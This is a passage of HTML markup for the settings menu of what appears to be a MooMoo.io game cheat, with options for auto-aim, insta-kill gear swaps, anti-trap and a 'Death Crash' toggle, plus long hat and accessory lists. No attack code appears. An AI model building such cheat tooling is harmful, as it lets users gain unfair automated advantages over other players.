Anti-no bull insta? <input id="doAntiNobull" type="checkbox" checked><br>
<!-- Anti-skid tick? (25 + 80 insta) <input id="antiSkidTick" type="checkbox" checked><br> -->
Do Anti-Trap? <input id="doAntiTrap" type="checkbox" checked><br>
Do Anti-Trap Chat? <input id="doAntiTrapChat" type="checkbox" checked><br>
Anti-Trap Chat (if enabled) <input type="text" id="antiTrapChat" checked value="anti trap"><br>
Chat mirror? <input id="cMirr" type="checkbox"><br>
Auto-360 shield? <input type="checkbox" id="shield360" checked><br>
Autobreak? <input type="checkbox" id="autoBreak"><br>
Switch hotkeys to invisible buildings? <input type="checkbox" id="invisBuilds"><br>
</div>
<fieldset>
<legend>Hats/Accessories</legend>
<div>
<label class="Click0"><input id="offence" type="checkbox" class="i-checkbox" />Offense</label>
</div>
<div>
<label class="HatHacking"><input id="defence" type="checkbox" class="i-checkbox" />Defensive Gear</label>
</div>
<div>
<label class="support"><input id="speed" type="checkbox" class="i-checkbox" />Support Gear</label>
</div>
</fieldset>
<div>
<label class="AutoHeal"><input id="derp" type="checkbox" class="i-checkbox" />DERP</label>
</div>
<div>
<label class="AutoHeal"><input id="deathCrash" type="checkbox" class="i-checkbox" /><b>OFF</b> Death Crash</label>
</div>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">FZ</a></div>
</div>
<div id="mm-offense-menu" class="i-tab-content" style="display: none;">
<h3>Offense</h3>
<form action="/action_page.php">
<label for="acc">Place Type: </label>
<select name="hat" id="pType">
<option value="0">Normal</option>
<option value="1">Legit</option>
<option value="2">Varience</option>
<option value="3">Derp</option>
</select>
</form>
<fieldset>
<legend>DMG</legend>
<div>
<label class="AutoHeal"><input id="onclick" type="checkbox" class="i-checkbox" />On Click</label>
</div>
<form action="/action_page.php">
<label for="hat">Hat:</label>
<select name="hat" id="oHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory:</label>
<select name="acc" id="oAcc">
<option value="0">None</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset>
<legend>Tank</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="acc" id="tHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="tAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset id="mm-supportDefaults">
<legend>Turret</legend>
<form action="/action_page.php">
<label for="hat">Hat:</label>
<select name="hat" id="otHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory:</label>
<select name="acc" id="otAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">FZ</a></div>
</div>
<div id="mm-defense-menu" class="i-tab-content" style="display: none;">
<h3>Defense</h3>
<fieldset>
<legend>Default</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="acc" id="dHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="dAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset>
<legend>EMP</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="acc" id="eHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="eAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset>
<legend>Auto Defence</legend>
<div>
<label class="defheal"><input id="antiInsta1" type="checkbox" class="i-checkbox" />Anti-InstaKill(Normal)</label>
</div>
<div>
<label class="defheal"><input id="antiInsta2" type="checkbox" class="i-checkbox" />Anti-InstaKill(Reverse)</label>
</div>
<div>
<label class="defheal"><input id="antiInsta3" type="checkbox" class="i-checkbox" />Anti-InstaKill(BloodThirster)</label>
</div>
<div>
<label class="defheal"><input id="antiInsta4" type="checkbox" class="i-checkbox" />Anti-InstaKill(Bow W.I.P.)</label>
</div>
<div>
<label class="defheal"><input id="antiBoostSpike" type="checkbox" class="i-checkbox" />Anti-BoostSpike</label>
</div>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
<div id="mm-support-menu" class="i-tab-content" style="display: none;">
<h3>Support</h3>
<fieldset>
<legend>Speed Armor Normal</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="hat" id="snHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="snAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset>
<legend>Speed Armor River</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="hat" id="srHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="srAcc">
<option value="0">none</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<fieldset>
<legend>Speed Armor Winter</legend>
<form action="/action_page.php">
<label for="hat">Hat: </label>
<select name="hat" id="ssHat">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory: </label>
<select name="acc" id="ssAcc">
<option value="0">None</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
<div id="mm-controls-menu" class="i-tab-content" style="display: none;">
<h3>Controls</h3>
<label>Menu : <button id="kMenu" class="i-button i-bold i-right i-inline i-keybind">Escape</button></label>
<br />
<br />
<fieldset id="i-keybinds">
<legend>Keybinds</legend>
<div>
<label>Spike : <button id="kSpike" class="i-button i-bold i-right i-inline i-keybind">KeyV</button></label>
</div>
<div>
<label>Spike Circle : <button id="kSpikeCircle" class="i-button i-bold i-right i-inline i-keybind">Key?</button></label>
</div>
<div>
<label>Pit Trap/Boost Pad : <button id="kTrap" class="i-button i-bold i-right i-inline i-keybind">KeyF</button></label>
</div>
<div>
<label>Trap Circle : <button id="kTrapCircle" class="i-button i-bold i-right i-inline i-keybind">Key?</button></label>
</div>
<div>
<label>Turret : <button id="kTurret" class="i-button i-bold i-right i-inline i-keybind">KeyH</button></label>
</div>
<div>
<label>Windmill : <button id="kWindmill" class="i-button i-bold i-right i-inline i-keybind">KeyN</button></label>
</div>
<div>
<label>Heal : <button id="kHeal" class="i-button i-bold i-right i-inline i-keybind">KeyQ</button></label>
</div>
<div>
<label>Boost+Spike : <button id="kBS" class="i-button i-bold i-right i-inline i-keybind">KeyL</button></label>
</div>
<div>
<label>Boost+Spike : <button id="kBM" class="i-button i-bold i-right i-inline i-keybind">KeyO</button></label>
</div>
</fieldset>
<div class="i-palomita">Made By : Wynd and <a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1" >FZ</a></div>
</div>
<div id="mm-instakill-menu" class="i-tab-content" style="display: none;">
<h3>Insta Kill</h3>
<div>
<label class="defheal"><input id="iAim" type="checkbox" class="i-checkbox" />Auto Aim</label>
</div>
<div>
<label class="defheal"><input id="iReload" type="checkbox" class="i-checkbox" />Auto Reload</label>
</div>
<div>
<label class="defheal"><input id="iReverse" type="checkbox" class="i-checkbox" />Reverse Insta</label>
</div>
<fieldset>
<legend>Insta Kill:</legend>
<form action="/action_page.php">
<label for="hat">Hat-1: </label>
<select name="acc" id="iHat1">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory-1: </label>
<select name="acc" id="iAcc1">
<option value="0">None</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
<div>
<label class="key2"><input id="iSwitch" type="checkbox" class="i-checkbox" />Choose Secondary Weapon</label>
</div>
<form action="/action_page.php">
<label for="acc">Hat-2: </label>
<select name="hat" id="iHat2">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
<option value="49">Bob XIII Hat</option>
<option value="57">Pumpkin</option>
<option value="8">Bummle Hat</option>
<option value="2">Straw Hat</option>
<option value="15">Winter Cap</option>
<option value="5">Cowboy Hat</option>
<option value="4">Ranger Hat</option>
<option value="18">Explorer Hat</option>
<option value="31">Flipper Hat</option>
<option value="1">Marksman Cap</option>
<option value="10">Bush Gear</option>
<option value="48">Halo</option>
<option value="6">Soldier Helmet</option>
<option value="32">Anti Venom Gear</option>
<option value="13">Medic Gear</option>
<option value="9">Miners Helmet</option>
<option value="32">Musketeer Hat</option>
<option value="7">Bull Helmet</option>
<option value="22">Emp Helmet</option>
<option value="12">Booster Hat</option>
<option value="26">Barbarian Armor</option>
<option value="21">Plague Mask</option>
<option value="46">Bull Mask</option>
<option value="14">Windmill Hat</option>
<option value="11">Spike Gear</option>
<option value="53">Turret Gear</option>
<option value="20">Samurai Armor</option>
<option value="58">Dark Knight</option>
<option value="27">Scavenger Gear</option>
<option value="40">Tank Gear</option>
<option value="52">Thief Gear</option>
<option value="55">Bloodthirster</option>
<option value="56">Assassin Gear</option>
</select>
</form>
<form action="/action_page.php">
<label for="acc">Accessory-2: </label>
<select name="acc" id="iAcc2">
<option value="0">None</option>
<option value="12">Snowball</option>
<option value="9">Tree Cape</option>
<option value="10">Stone Cape</option>
<option value="3">Cookie Cape</option>
<option value="8">Cow Cape</option>
<option value="11">Monkey Tail</option>
<option value="17">Apple Basket</option>
<option value="6">Winter Cape</option>
<option value="4">Skull Cape</option>
<option value="5">Dash Cape</option>
<option value="2">Dragon Cape</option>
<option value="1">Super Cape</option>
<option value="7">Troll Cape</option>
<option value="14">Thorns</option>
<option value="15">Blockades</option>
<option value="20">Devils Tail</option>
<option value="16">Sawblade</option>
<option value="13">Angel Wings</option>
<option value="19">SWings</option>
<option value="18">BWings</option>
<option value="21">CX Wings</option>
</select>
</form>
<form action="/action_page.php">
<label for="hat">End Hat: </label>
<select name="hat" id="iHat3">
<option value="0">none</option>
<option value="51">Moo Cap</option>
<option value="50">Apple Cap</option>
<option value="28">Moo Head</option>
<option value="29">Pig Head</option>
<option value="30">Fluff Head</option>
<option value="36">Pandou Head</option>
<option value="37">Bear Head</option>
<option value="38">Monkey Head</option>
<option value="44">Polar Head</option>
<option value="35">Fez Hat</option>
<option value="42">Enigma Hat</option>
<option value="43">Blitz Hat</option>
